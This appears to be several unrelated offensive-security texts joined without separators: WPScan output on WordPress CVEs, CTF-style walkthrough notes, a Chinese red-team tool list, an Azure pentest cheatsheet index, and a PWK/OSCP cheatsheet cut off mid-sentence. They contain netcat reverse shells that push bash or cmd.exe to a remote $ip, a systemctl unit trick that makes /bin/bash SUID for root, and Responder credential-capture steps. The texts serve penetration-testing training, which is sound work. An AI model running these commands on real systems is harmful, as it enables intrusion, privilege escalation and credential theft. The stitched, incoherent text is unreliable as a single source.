https://wpvulndb.com/vulnerabilities/8967 Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094 [i] Fixed in: 4.2.18 [!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing Reference: https://wpvulndb.com/vulnerabilities/8969 Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091 [i] Fixed in: 4.2.18 [!] Title: WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/9006 Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850 Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/ Reference: https://core.trac.wordpress.org/ticket/42720 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776 [i] Fixed in: 4.9.2 [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched) Reference: https://wpvulndb.com/vulnerabilities/9021 Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html Reference: https://github.com/quitten/doser.py Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 [!] Title: WordPress 3.7-4.9.4 - Remove localhost Default Reference: https://wpvulndb.com/vulnerabilities/9053 Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101 [i] Fixed in: 4.2.20 [!] Title: WordPress 3.7-4.9.4 - Use Safe Redirect for Login Reference: https://wpvulndb.com/vulnerabilities/9054 Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100 [i] Fixed in: 4.2.20 [!] Title: WordPress 3.7-4.9.4 - Escape Version in Generator Tag Reference: https://wpvulndb.com/vulnerabilities/9055 Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102 [i] Fixed in: 4.2.20 [!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion Reference: https://wpvulndb.com/vulnerabilities/9100 Reference: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/ Reference: http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/ Reference: https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd Reference: https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/ Reference: https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895 [i] Fixed in: 4.2.21 [+] WordPress theme in use: twentyfifteen - v1.1 [+] Name: twentyfifteen - v1.1 | Last updated: 2018-05-17T00:00:00.000Z | Location: http://wpdistillery.vm/wp-content/themes/twentyfifteen/ | Readme: http://wpdistillery.vm/wp-content/themes/twentyfifteen/readme.txt [!] The version is out of date, the latest version is 2.0 | Style URL: http://wpdistillery.vm/wp-content/themes/twentyfifteen/style.css | Theme Name: Twenty Fifteen | Theme URI: https://wordpress.org/themes/twentyfifteen/ | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple,... | Author: the WordPress team | Author URI: https://wordpress.org/ [!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/7965 Reference: https://blog.sucuri.net/2015/05/jetpack-and-twentyfifteen-vulnerable-to-dom-based-xss-millions-of-wordpress-websites-affected-millions-of-wordpress-websites-affected.html Reference: http://packetstormsecurity.com/files/131802/ Reference: http://seclists.org/fulldisclosure/2015/May/41 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3429 [i] Fixed in: 1.2 [+] Enumerating plugins from passive detection ... [+] No plugins found passively [+] Finished: Sat Oct 20 01:18:17 2018 [+] Elapsed time: 00:00:04 [+] Requests made: 64 [+] Memory used: 43.078 MB ``` ## License Copyright [2018] [Harry Staley] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
``` IP : 10.10.62.229 ``` # Nmap scan nmap -sC -sV -oN initial 10.10.62.229 ``` 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA) | 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA) |_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 3128/tcp open http-proxy Squid http proxy 3.5.12 |_http-server-header: squid/3.5.12 |_http-title: ERROR: The requested URL could not be retrieved 3333/tcp open http Apache httpd 2.4.18 ((Ubuntu)) ``` # Top ports * nmap -sU --top-ports 20 | --top-ports # Aggressive for ports over 1000 nmap -A -p- -sC -sV -oN nmap/Allport 10.10.62.229 # Gobuster to find directories gobuster dir -u http://10.10.62.229:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # Nikto nikto -h "10.10.62.229:3333" # Use php reverse shell -> change ip 2 urip and port # listen on Netcat nc -lnvp 9000 * python -c "import pty; pty.spawn('/bin/bash')" //stable shell * ctr+Z * stty raw -echo * specify fg * export TERM=xterm # find user cat /etc/passwd -> check setuid -> ls -l /etc/bin/passwd # find files with setuid find / -perm - 4000 2>/dev/null # uing bash -p to execute as root --gtd=fobins.github.io `GTFOBind` ``` sudo sh -c 'cp $(which systemctl) .; chmod +s ./systemctl' TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF ./systemctl link $TF ./systemctl enable --now $TF ``` # edited ``` TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "chmod +s /bin/bash" [Install] WantedBy=multi-user.target' > $TF /bin/systemctl link $TF /bin/systemctl enable --now $TF ``` # now sets /bin/bash as suid (ls -l /bin/bash) # bash -p # now explore
# Red Team Attack ### **红队武器库** > 准备阶段 - [攻击队反溯源准则](https://github.com/qingluoyu/Pentest_baseline/blob/master/%E6%94%BB%E5%87%BB%E9%98%9F%E5%8F%8D%E6%BA%AF%E6%BA%90%E5%87%86%E5%88%99.md) - [红队标准手册](https://github.com/Harveysn0w/Redteam_Standard) - [红/蓝队环境自动化部署工具](https://github.com/ffffffff0x/f8x) - [红队基础设施自动化部署工具](https://github.com/QAX-A-Team/LuWu) > 信息收集类 * [Nmap 好用的端口扫描工具](https://nmap.org/) * [Masscan-超快的端口扫描工具](https://github.com/robertdavidgraham/masscan) * [TXPortMap-在速度与准确度之间寻找一个平衡的端口扫描工具](https://github.com/4dogs-cn/TXPortMap) * [OneForAll是一款功能强大的子域收集工具](https://github.com/shmilylty/OneForAll) * [httpx-一个快速且多用途的 HTTP 工具包](https://github.com/projectdiscovery/httpx) * [AppInfoScanner 适用于红队的移动端(Android、iOS、WEB、H5、静态网站)信息收集工具](https://github.com/kelvinBen/AppInfoScanner) * [GitDorker Python程序,使用Github dorks从Github搜索敏感信息](https://github.com/obheda12/GitDorker) * [dirsearch - Web path scanner 目录扫描工具](https://github.com/maurosoria/dirsearch) * [ffuf 用Go编写的模糊测试工具](https://github.com/ffuf/ffuf) * [JSFinder-一款用作快速在网站的js文件中提取URL,子域名的工具](https://github.com/Threezh1/JSFinder) * [Finger-一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具](https://github.com/EASY233/Finger) * [Railgun是一款GUI界面的渗透工具,综合类的扫描工具](https://github.com/lz520520/railgun) * [EHole(棱洞)-红队重点攻击系统指纹探测工具](https://github.com/EdgeSecurityTeam/EHole) * [ESTeye(棱眼)-红蓝攻防中快速定位目标的真实资产](https://github.com/EdgeSecurityTeam/ESTeye) * [ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具](https://github.com/Adminisme/ServerScan) * [DarkEye 渗透测试情报收集工具](https://github.com/zsdevX/DarkEye) * [sherlock - 通过社交网络上的用户名搜寻社交媒体帐户](https://github.com/sherlock-project/sherlock) *  [用Rust编写的快速,简单,递归的内容发现工具](https://github.com/epi052/feroxbuster) > 漏洞扫描\安全评估类 * [一款功能强大的安全评估工具 - Xray](https://github.com/chaitin/xray) * [pocsuite3 开源的远程漏洞测试框架](https://github.com/knownsec/pocsuite3) * [网络安全测试工具 - Goby](https://github.com/gobysec/Goby) * [Myscan 被动扫描器](https://github.com/amcai/myscan) * [kunpeng是一个Golang编写的开源POC框架/库](https://github.com/opensec-cn/kunpeng) *  [pocscan PoC扫描器 主要用于指纹识别后,进行漏洞精准扫描](https://github.com/DSO-Lab/pocscan) > 漏洞利用\WebShell\网站管理\后渗透类 *  [Metasploit Framework](https://github.com/rapid7/metasploit-framework) *  [Mimikatz Windows 密码抓取神器](https://github.com/gentilkiwi/mimikatz) *  [“冰蝎”动态二进制加密网站管理客户端](https://github.com/rebeyond/Behinder) *  [Cknife 中国菜刀](https://github.com/Chora10/Cknife) *  [基于 poweshell 的命令执行框架 后渗透利器](https://github.com/EmpireProject/Empire) *  [中国蚁剑是一款跨平台的开源网站管理工具](https://github.com/2Quico/antSword) *  [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) *  [网络测试中的瑞士军刀,包含 impacket、PowerSploit 等多种模块](https://github.com/byt3bl33d3r/CrackMapExec) *  [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) *  [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) *  [BurpSuite 一个Web应用程序集成攻击平台](https://down.52pojie.cn/?query=burpsuite) *  [各种类型的Webshel​​l 后门收藏](https://github.com/xl7dev/WebShell) > 脚本聚合类 * [Bug Bounty Tools (一些实用的赏金Python脚本)](https://github.com/m4ll0k/Bug-Bounty-Toolz) * [FofaSpider Fofa爬虫支持高级查询语句批量爬取](https://github.com/KpLi0rn/FofaSpider) *  [fofa2Xray 一款联合fofa与xray的自动化批量扫描工具](https://github.com/piaolin/fofa2Xray) *  [SScan 一款src捡洞扫描器](https://github.com/yhy0/SScan) *  [hscan 集成crawlergo、xray、dirsearch、nmap等工具的src挖掘工具](https://github.com/zongdeiqianxing/hscan) ### **红队漏洞库** > 历史漏洞库,最新漏洞PoC/Exp,快速检索。 * [PeiQi文库](http://wiki.peiqi.tech/) * [pwnwiki](https://www.pwnwiki.org/) * [棱角社区对外进行公布一些最新漏洞](https://github.com/EdgeSecurityTeam/Vulnerability) * [Exploit-DB](https://www.exploit-db.com/) * [知道创宇 Seebug](https://www.seebug.org/) * [WooYun 历史漏洞](http://wy.zone.ci) * [Metasploit 利用模块](https://www.rapid7.com/db/) ### **红队资料库** > 奇淫技巧,文库资料,来这里找。 * [Book of BugBounty Tips](https://gowsundar.gitbook.io/book-of-bugbounty-tips/) * [Red Team Tips](https://vincentyiu.com/red-team-tips/) * [Awesome-Red-Teaming 一些优秀的红队资料](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) * [应用程序的一些安全备忘](https://0xn3va.gitbook.io/cheat-sheets/) * [狼组公开知识库](https://wiki.wgpsec.org/knowledge/) * [知道创宇 Paper](https://paper.seebug.org/) * [先知技术社区](https://xz.aliyun.com/) * [红队中易被攻击的一些重点系统漏洞整理](https://github.com/r0eXpeR/redteam_vul) * [黑客,渗透测试者和安全研究人员的各种出色列表的集合](https://github.com/Hack-with-Github/Awesome-Hacking) * [实用的一些Payload和一些bypass技巧](https://github.com/swisskyrepo/PayloadsAllTheThings) * [KingOfBugBountyTips](https://github.com/KingOfBugbounty/KingOfBugBountyTips) * [优秀的安全编排、自动化和响应(SOAR)清单](https://github.com/correlatedsecurity/Awesome-SOAR) * [红蓝对抗及护网资料分享](http://hackdig.com/10/hack-181850.htm) *  [收集的一些有质量安全文章](https://github.com/tom0li/collection-document) *  [Red-Team-Infrastructure-Wiki 红队基础建设WIKI](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) *  [一些赏金技巧、知识和一些脚本](https://six2dez.gitbook.io/pentest-book/) *  [Purple Teaming 一些红队相关的技术分享](https://www.reddit.com/r/purpleteamsec/) *  [MSSQL注入提权,bypass的一些总结](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI) *  [redteam-notebook 红队笔记](https://github.com/foobarto/redteam-notebook) *  [关于红队方面的学习资料](https://github.com/zhaoweiho/redteam-tips) ### **在线工具库** > 实用的在线工具推荐。 * [FOFA.so](https://fofa.so/) * [企查查](https://www.qcc.com/) * [百度爱企查(免费)](https://aiqicha.baidu.com/) * [IPIP.NET](https://www.ipip.net/) * [CMD5 在线解密](https://www.cmd5.com/) * [SOMD5 在线解密](https://www.somd5.com/) * [CTF 在线工具箱](http://ctf.ssleye.com/) * [Windows 提权辅助工具](https://i.hacking8.com/tiquan/) * [Windows杀软在线对比辅助](https://maikefee.com/av_list) 此项目不定期进行更新...... 参考项目:https://github.com/FiveAourThe/RedTeamAttack
# Azure-cheatsheet # Index * [General](#General) * [Authenticated enumeration](Authenticated-enumeration.md) * [Privilege Escalation & Exploitation](privilege-escalation.md) * [Cloud <-> On-Prem - Lateral Movement](Cloud-OnPrem-lateral-movement.md) * [Persistence](persistence.md) * [Post exploitation](post-exploitation.md) # General - List of Microsoft portals https://msportals.io/ - Great resources - https://pentestbook.six2dez.com/enumeration/cloud/azure - https://github.com/Kyuu-Ji/Awesome-Azure-Pentest - https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md - List of tools https://www.pwndefend.com/2023/01/11/tools/ #### Save Credentials ``` $creds = get-credential $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password) ``` #### Find a specific file ``` Get-Childitem -Path C:\ -Force -Include <FILENAME OR WORD TO SEARCH> -Recurse -ErrorAction SilentlyContinue ``` ## PSSession #### Save pssession in variable ``` $sess = New-PSSession -Credential $creds -ComputerName <IP> ``` #### Run commands on machine ``` Invoke-Commannd -ScriptBlock {COMMAND} -Session $sess ``` #### Load script on machine ``` Invoke-Commannd -Filepath <PATH TO SCRIPT> -Session $sess ``` #### Copy item through PSSession ``` Copy-Item -ToSession $sess -Path <PATH> -Destination <DEST> -verbose ```
# PWK-CheatSheet <pre> ██▓███ █ ███ ▄█▀ ▄████▄ ██░ ██▓█████▄▄▄ ▄▄▄█████▓ ██████ ██░ ██▓█████▓████▄▄▄█████▓ ▓██░ ██▓█░ █ ░███▄█▒ ▒██▀ ▀█ ▓██░ ██▓█ ▒████▄ ▓ ██▒ ▓▒ ▒██ ▒▓██░ ██▓█ ▀▓█ ▓ ██▒ ▓▒ ▓██░ ██▓▒█░ █ ░▓███▄░ ▒▓█ ▄▒██▀▀██▒███ ▒██ ▀█▄▒ ▓██░ ▒░ ░ ▓██▄ ▒██▀▀██▒███ ▒███ ▒ ▓██░ ▒░ ▒██▄█▓▒ ░█░ █ ░▓██ █▄ ▒▓▓▄ ▄██░▓█ ░██▒▓█ ░██▄▄▄▄█░ ▓██▓ ░ ▒ ██░▓█ ░██▒▓█ ▄▒▓█ ░ ▓██▓ ░ ▒██▒ ░ ░░██▒██▒██▒ █▄ ▒ ▓███▀ ░▓█▒░██░▒████▓█ ▓██▒▒██▒ ░ ▒██████▒░▓█▒░██░▒████░▒████▒▒██▒ ░ ▒▓▒░ ░ ░ ▓░▒ ▒▒ ▒▒ ▓▒ ░ ░▒ ▒ ░▒ ░░▒░░░ ▒░ ▒▒ ▓▒█░▒ ░░ ▒ ▒▓▒ ▒ ░▒ ░░▒░░░ ▒░ ░░ ▒░ ░▒ ░░ ░▒ ░ ▒ ░ ░░ ░▒ ▒░ ░ ▒ ▒ ░▒░ ░░ ░ ░▒ ▒▒ ░ ░ ░ ░▒ ░ ░▒ ░▒░ ░░ ░ ░░ ░ ░ ░ ░░ ░ ░░ ░░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ </pre> #### Penetration Testing with Kali Linux (PWK) course and Offensive Security Certified Professional (OSCP) Cheat Sheet ## Table of Contents - [Linux 101](#linux-101) - [Information Gathering & Vulnerability Scanning](#information-gathering--vulnerability-scanning) * [Passive Information Gathering](#passive-information-gathering) * [Active Information Gathering](#active-information-gathering) * [Port Scanning](#port-scanning) * [Enumeration](#enumeration) * [HTTP Enumeration](#http-enumeration) - [Buffer Overflows and Exploits](#buffer-overflows-and-exploits) - [Shells](#shells) - [File Transfers](#file-transfers) - [Privilege Escalation](#privilege-escalation) * [Linux Privilege Escalation](#linux-privilege-escalation) * [Windows Privilege Escalation](#windows-privilege-escalation) - [Client, Web and Password Attacks](#client-web-and-password-attacks) * [Client Attacks](#client-attacks) * [Web Attacks](#web-attacks) * [File Inclusion Vulnerabilities LFI/RFI](#file-inclusion-vulnerabilities) * [Database Vulnerabilities](#database-vulnerabilities) * [Password Attacks](#password-attacks) * [Password Hash Attacks](#password-hash-attacks) - [Networking, Pivoting and Tunneling](#networking-pivoting-and-tunneling) - [The Metasploit Framework](#the-metasploit-framework) - [Bypassing Antivirus Software](#bypassing-antivirus-software) Linux 101 =============================================================================================================================== # Set the Target IP Address to the $ip system variable ```shell $ export ip=192.168.1.100 ``` # Find the location of a file ```shell $ locate sbd.exe ``` # Search through directories in the $PATH environment variable ```shell $ which sbd ``` # Find a search for a file that contains a specific string in it’s name ```shell $ find / -name sbd\* ``` # Show active internet connections ```shell $ netstat -lntp ``` # Change Password ```shell $ passwd ``` # Verify a service is running and listening ```shell $ netstat -antp |grep apache ``` # Start a service ```shell $ systemctl start ssh $ systemctl start apache2 ``` # Unzip a gz file ```shell $ gunzip access.log.gz ``` # Unzip a tar.gz file ```shell $ tar -xzvf file.tar.gz ``` - Search command history ```shell history | grep phrase\_to\_search\_for ``` - Have a service start at boot ```shell systemctl enable ssh ``` - Stop a service `systemctl stop ssh` - Download a webpage `wget [www.cisco.com](http://www.cisco.com)` - Open a webpage `curl [www.cisco.com](http://www.cisco.com) - String manipulation - Count number of lines in file `wc index.html` - Get the start or end of a file `head index.html ` `tail index.html` - Extract all the lines that contain a string `grep "href=" index.html` - Cut a string by a delimiter, filter results then sort `grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u` - Using Grep and regular expressions and output to a file `cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u &gt; list.txt` - Use a bash loop to find the IP address behind each host `for url in $(cat list.txt); do host $url; done` - Collect all the IP Addresses from a log file and sort by frequency `cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn` - Netcat - Read and write TCP and UDP Packets - Connect to a POP3 mail server `nc -nv $ip 110` - Listen on TCP/UDP port `nc -nlvp 4444` - Connect to a netcat port `nc -nv $ip 4444` - Send a file using netcat `nc -nv $ip 4444 &lt; /usr/share/windows-binaries/wget.exe` - Receive a file using netcat `nc -nlvp 4444 &gt; incoming.exe` - Create a reverse shell with Ncat using cmd.exe on Windows `nc -nlvp 4444 -e cmd.exe` - Create a reverse shell with Ncat using bash on Linux `nc -nv $ip 4444 -e /bin/bash` - Ncat - Netcat for Nmap project which provides more security avoid IDS - Reverse shell from windows using cmd.exe using ssl `ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl` - Listen on port 4444 using ssl `ncat -v $ip 4444 --ssl` - Wireshark - Show only SMTP (port 25) and ICMP traffic: `tcp.port eq 25 or icmp` - Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet: `ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16` - Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs: `ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip` - Some commands are equal `ip.addr == 10.43.54.65` Equals `ip.src == 10.43.54.65 or ip.dst == 10.43.54.65 ` ` ip.addr != 10.43.54.65` Equals `ip.src != 10.43.54.65 or ip.dst != 10.43.54.65` - Tcpdump - Display a pcap file `tcpdump -r password\_cracking\_filtered.pcap` - Display ips and filter and sort `tcpdump -n -r password\_cracking\_filtered.pcap | awk -F" " '{print $3}' | sort -u | head` - Grab a packet capture on port 80 `tcpdump tcp port 80 -w output.pcap -i eth0` - Check for ACK or PSH flag set in a TCP packet `tcpdump -A -n 'tcp\[13\] = 24' -r password\_cracking\_filtered.pcap` - IPTables deny traffic to ports except for Local Loopback ```shell iptables -A INPUT -p tcp --destination-port 13327 \\! -d $ip -j DROP iptables -A INPUT -p tcp --destination-port 4444 \\! -d $ip -j DROP ``` Information Gathering & Vulnerability Scanning =============================================================================================================================== - Passive Information Gathering --------------------------------------------------------------------------------------------------------------------------- - Google Hacking - Google search to find website sub domains `site:microsoft.com` `site:[www.microsoft.com](http://www.microsoft.com)` - Google filetype, and intitle `intitle:”netbotz appliance” “OK” -filetype:pdf` - Google inurl `inurl:”level/15/sexec/-/show”` - Google Hacking Database: https://www.exploit-db.com/google-hacking-database/ - SSL Certificate Testing [*https://www.ssllabs.com/ssltest/analyze.html*](https://www.ssllabs.com/ssltest/analyze.html) - Email Harvesting - Simply Email `git clone https://github.com/killswitch-GUI/SimplyEmail.git ` `./SimplyEmail.py -all -e TARGET-DOMAIN` - Netcraft - Determine the operating system and tools used to build a site https://searchdns.netcraft.com/ - Whois Enumeration `whois domain-name-here.com ` `whois $ip` - Banner Grabbing - `nc -v $ip 25` - `telnet $ip 25` - `nc TARGET-IP 80` - Recon-ng - full-featured web reconnaissance framework written in Python - `cd /opt; git clone https://[email protected]/LaNMaSteR53/recon-ng.git ` `cd /opt/recon-ng ` `./recon-ng ` `show modules ` `help` - Active Information Gathering -------------------------------------------------------------------------------------------------------------------------- <!-- --> - DNS Enumeration - Host Lookup `host -t ns megacorpone.com` - Reverse Lookup Brute Force - find domains in the same range `for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"` - Perform DNS IP Lookup `dig a domain-name-here.com @nameserver` - Perform MX Record Lookup `dig mx domain-name-here.com @nameserver` - Perform Zone Transfer with DIG `dig axfr domain-name-here.com @nameserver` - DNS Zone Transfers Windows DNS zone transfer `nslookup -&gt; set type=any -&gt; ls -d blah.com ` Linux DNS zone transfer `dig axfr blah.com @ns1.blah.com` - Dnsrecon DNS Brute Force `dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml` - Dnsrecon DNS List of megacorp `dnsrecon -d megacorpone.com -t axfr` - DNSEnum `dnsenum zonetransfer.me` - Port Scanning ----------------------------------------------------------------------------------------------------------- *Subnet Reference Table* / | Addresses | Hosts | Netmask | Amount of a Class C --- | --- | --- | --- | --- /30 | 4 | 2 | 255.255.255.252| 1/64 /29 | 8 | 6 | 255.255.255.248 | 1/32 /28 | 16 | 14 | 255.255.255.240 | 1/16 /27 | 32 | 30 | 255.255.255.224 | 1/8 /26 | 64 | 62 | 255.255.255.192 | 1/4 /25 | 128 | 126 | 255.255.255.128 | 1/2 /24 | 256 | 254 | 255.255.255.0 | 1 /23 | 512 | 510 | 255.255.254.0 | 2 /22 | 1024 | 1022 | 255.255.252.0 | 4 /21 | 2048 | 2046 | 255.255.248.0 | 8 /20 | 4096 | 4094 | 255.255.240.0 | 16 /19 | 8192 | 8190 | 255.255.224.0 | 32 /18 | 16384 | 16382 | 255.255.192.0 | 64 /17 | 32768 | 32766 | 255.255.128.0 | 128 /16 | 65536 | 65534 | 255.255.0.0 | 256 - Set the ip address as a varble `export ip=192.168.1.100 ` `nmap -A -T4 -p- $ip` - Netcat port Scanning `nc -nvv -w 1 -z $ip 3388-3390` - Discover who else is on the network `netdiscover` - Discover IP Mac and Mac vendors from ARP `netdiscover -r $ip/24` - Nmap stealth scan using SYN `nmap -sS $ip` - Nmap stealth scan using FIN `nmap -sF $ip` - Nmap Banner Grabbing `nmap -sV -sT $ip` - Nmap OS Fingerprinting `nmap -O $ip` - Nmap Regular Scan: `nmap $ip/24` - Enumeration Scan `nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt` - Enumeration Scan All Ports TCP / UDP and output to a txt file `nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip` - Nmap output to a file: `nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24` - Quick Scan: `nmap -T4 -F $ip/24` - Quick Scan Plus: `nmap -sV -T4 -O -F --version-light $ip/24` - Quick traceroute `nmap -sn --traceroute $ip` - All TCP and UDP Ports `nmap -v -sU -sS -p- -A -T4 $ip` - Intense Scan: `nmap -T4 -A -v $ip` - Intense Scan Plus UDP `nmap -sS -sU -T4 -A -v $ip/24` - Intense Scan ALL TCP Ports `nmap -p 1-65535 -T4 -A -v $ip/24` - Intense Scan - No Ping `nmap -T4 -A -v -Pn $ip/24` - Ping scan `nmap -sn $ip/24` - Slow Comprehensive Scan `nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24` - Scan with Active connect in order to weed out any spoofed ports designed to troll you `nmap -p1-65535 -A -T5 -sT $ip` - Enumeration ----------- - NMap Enumeration Script List: - NMap Discovery [*https://nmap.org/nsedoc/categories/discovery.html*](https://nmap.org/nsedoc/categories/discovery.html) - Nmap port version detection MAXIMUM power `nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p &lt;port&gt; &lt;host&gt;` - - SMB Enumeration - SMB OS Discovery `nmap $ip --script smb-os-discovery.nse` - Nmap port scan `nmap -v -p 139,445 -oG smb.txt $ip-254` - Netbios Information Scanning `nbtscan -r $ip/24` - Nmap find exposed Netbios servers `nmap -sU --script nbstat.nse -p 137 $ip` - SMB Enumeration Tools `nmblookup -A $ip ` `smbclient //MOUNT/share -I $ip -N ` `rpcclient -U "" $ip ` `enum4linux $ip ` `enum4linux -a $ip` - SMB Finger Printing `smbclient -L //$ip` - Nmap Scan for Open SMB Shares `nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 $ip/24` - Nmap scans for vulnerable SMB Servers `nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip` - Nmap List all SMB scripts installed `ls -l /usr/share/nmap/scripts/smb\*` - Enumerate SMB Users - `nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14` - `python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip` - RID Cycling - Null Sessions [*https://www.trustedsec.com/march-2013/new-tool-release-rpc\_enum-rid-cycling-attack/*](https://www.trustedsec.com/march-2013/new-tool-release-rpc_enum-rid-cycling-attack/) - `ridenum.py $ip 500 50000 dict.txt` - `use auxiliary/scanner/smb/smb\_lookupsid` - Manual Null Session Testing - Windows: `net use \\\\$ip\\IPC$ "" /u:""` - Linux: `smbclient -L //$ip` - LLMNR / NBT-NS Spoofing - Steal credentials off the network. - Spoof / poison LLMNR / NetBIOS requests: auxiliary/spoof/llmnr/llmnr\_response auxiliary/spoof/nbns/nbns\_response - Capture the hashes: auxiliary/server/capture/smb auxiliary/server/capture/http\_ntlm - Using Responder to Steal Creds `git clone https://github.com/SpiderLabs/Responder.git ` `python Responder.py -i local-ip -I eth0` - SMTP Enumeration - Mail Severs - Verify SMTP port using Netcat `nc -nv $ip 25` - SNMP Enumeration -Simple Network Management Protocol - Fix SNMP output values so they are human readable `apt-get install snmp-mibs-downloader download-mibs ` `echo "" &gt; /etc/snmp/snmp.conf` - SNMP Enumeration Commands - `snmpcheck -t $ip -c public` - `snmpwalk -c public -v1 $ip 1|` - `grep hrSWRunName|cut -d\* \* -f` - `snmpenum -t $ip` - `onesixtyone -c names -i hosts` - SNMPv3 Enumeration `nmap -sV -p 161 --script=snmp-info $ip/24` - Automate the username enumeration process for SNMPv3: `apt-get install snmp snmp-mibs-downloader ` `wget <https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb>` - SNMP Default Credentials /usr/share/metasploit-framework/data/wordlists/snmp\_default\_pass.txt - Linux OS Enumeration - List all SUID files `find / -perm -4000 2&gt;/dev/null` - Determine the current version of Linux `cat /etc/issue` - Determine more information about 